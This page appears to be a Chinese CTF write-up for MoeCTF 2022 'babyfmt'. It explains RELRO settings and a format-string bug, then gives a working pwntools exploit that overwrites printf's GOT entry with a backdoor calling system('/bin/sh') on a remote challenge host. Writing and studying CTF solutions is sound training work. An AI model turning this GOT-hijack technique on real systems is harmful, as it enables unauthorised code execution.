首页 > 其他分享 >【pwn】[MoeCTF 2022]babyfmt --格式化字符串漏洞,got表劫持

【pwn】[MoeCTF 2022]babyfmt --格式化字符串漏洞,got表劫持

时间:2023-10-28 15:44:46浏览次数:30  
标签:babyfmt 函数 -- RELRO backdoor printf MoeCTF got array

拿到程序,先checksec一下

发现是Partial RELRO,got表可修改

当RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写;为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.array、fini.array、got.plt均可读不可写。

然后看主函数

主函数这边逻辑还是比较简单的,while循环前面的代码可以不用理,直接看while循环里面的代码,read函数明显存在栈溢出漏洞,并且下一个printf存在格式化字符串漏洞,同时看左边函数列表,给出了backdoor函数,点进去,看一下

int backdoor()
{
  return system("/bin/sh");
}

可见,backdoor函数可以getshell

现在这道题思路可以是修改printf函数的got表里面的内容,修改成backdoor函数地址,然后while循环下一次执行printf函数时,程序就会去执行backdoor函数,实现getshell

这道题可以利用pwntools的fmtstr_payload函数,第一个参数为数据距离格式化字符串的偏移,第二个参数为字典{pirntf_got:addr},攻击载荷pwntools已经为我们填好,可以直接使用

exp:

from pwn import * context(os='linux',arch='i386',log_level='debug') io=remote("node5.anna.nssctf.cn",28247) elf=ELF("./pwn") printf_got=elf.got['printf'] shell=elf.symbols["backdoor"] payload=fmtstr_payload(11,{printf_got:shell}) io.sendline(payload) io.interactive()

 

标签:babyfmt,函数,--,RELRO,backdoor,printf,MoeCTF,got,array
From: https://www.cnblogs.com/GGbomb/p/17794148.html

相关文章

  • Transformer 相关资料列表
    Transformer相关资料列表Encoder-Decoder框架1Transformer模型1连续词袋模型(CBOW)Word2vecTransformer模型中的positionalencoding(位置编码)计算理解Transformer模型中的positionalencoding(位置编码)计算理解(2)self-attention自注意力机制注意力机制(2)self-at......
  • Java基础 等待唤醒机制(阻塞队列方式实现)
    等待唤醒机制还可以用阻塞队列的方式进行实现    练习:利用阻塞队列完成生产者和消费者(等待唤醒机制)的代码细节:生产者和消费者必须使用同一个阻塞队列阻塞队列的创建方式(泛型:队列里面数据的类型):ArrayBlockingQueue<String> queue = new  ArrayBlockingQueue<......
  • 骁龙8 Gen3独步天下!小米14首发评测:最值得买的真香小屏旗舰
    一、前言:第五代小米高端旗舰小米14来了2020年2月,小米10系列首次冲击高端市场,梦幻开局,首发一分钟破2亿销售额。2021年,小米11系列发布,在工艺及设计美学上谋求突破。2022年,从小米12系列开始,小米提出“从性能领先,到体验优先”,并正式将高端化明确为集团战略,提出全面对标苹果iPhone......
  • 【每日例题】蓝桥杯 C语言 凯撒加密
    凯撒加密题目题目描述给定一个单词,请使用凯撒密码将这个单词加密。凯撒密码是—种替换加密的技术,单词中的所有字母都在字母表上向后偏移3位后被替换成密文。即α变为d,b变为e,·,w变为z,Z变为a,g变为b,z变为c。输入描述输入格式:输入一行,包含一个单词,单词中只包含小写英文字母,单词中......
  • 抓住重点的思考能力如何训练,批判性思维和金字塔原理
    读教科书感觉有点晦涩,阅读英文文章有时候不能抓住重点,感觉需要训练自己这方面的能力,多看看纸质书。其实我觉得我和别人交流的时候,有那种答非所问的倾向,说明我不善于抓住重点。当然一方面是因为我可能要忽略那些我不想回答的东西,另一方面就是思考能力的缺乏了为什么有人思考问题......
  • UI自动化概念 + Web自动化测试框架介绍
    1.UI自动化测试概念:我们先明确什么是UIUI,即(UserInterface简称UI用户界面)是系统和用户之间进行交互和信息交换的媒介UI自动化测试:Web自动化测试和移动自动化测试都属于UI自动化测试,UI自动化测试就是借助自动化工具对程序UI层进行自动化的测试2.为什么对UI采用自动化测试?......
  • 一文1800字解读性能指标与性能分析
    性能测试监控关键指标:1、系统指标:与⽤户场景与需求直接相关的指标2、服务器资源指标:硬件服务器的资源使⽤情况的指标3、JAVA应⽤:JAVA应⽤程序在运⾏时的各项指标4、数据库:数据库服务器运⾏时需要监控的指标5、压测机资源指标:测试机在模拟⽤户负载时的资源使⽤情况⼀......
  • js聚焦并将光标定位到输入框和可编辑DIV的最后
    //聚焦并将光标定位的文本末尾---div//letdom=$('.demonstrate-li-input').eq(i).focus()//letrange=document.createRange()//创建一个新的范围对象//letsel=window.getSelection()//获取当前选区对象......
  • mysql大批量删除数据,工作记录
    在10万记录的三张关系表中删除相对应的数据,三张表为层级嵌套关系优化查询目的:减少mysql数据库慢查询导致的长时间占据锁的情况出现优化方向:将慢sql改为多次执行的快sql,避免长时间占用mysql资源情况出现多表查询会用到的几种方式连表查询SELECTevent_data.idFROMevent......
  • vue2和vue3的区别
    vue2和vue3都是前端JavaScript框架,基本概念和功能大部分都相同,它们的区别主要在语法、原理、生态以及打包四个方面.语法:Vue.js2使用基于Object.defineProperty的双向绑定来追踪变化,而Vue.js3采用Proxy来实现响应式变化追踪,这提高了性能并允许更广泛的响应式追踪。在Vue.js3......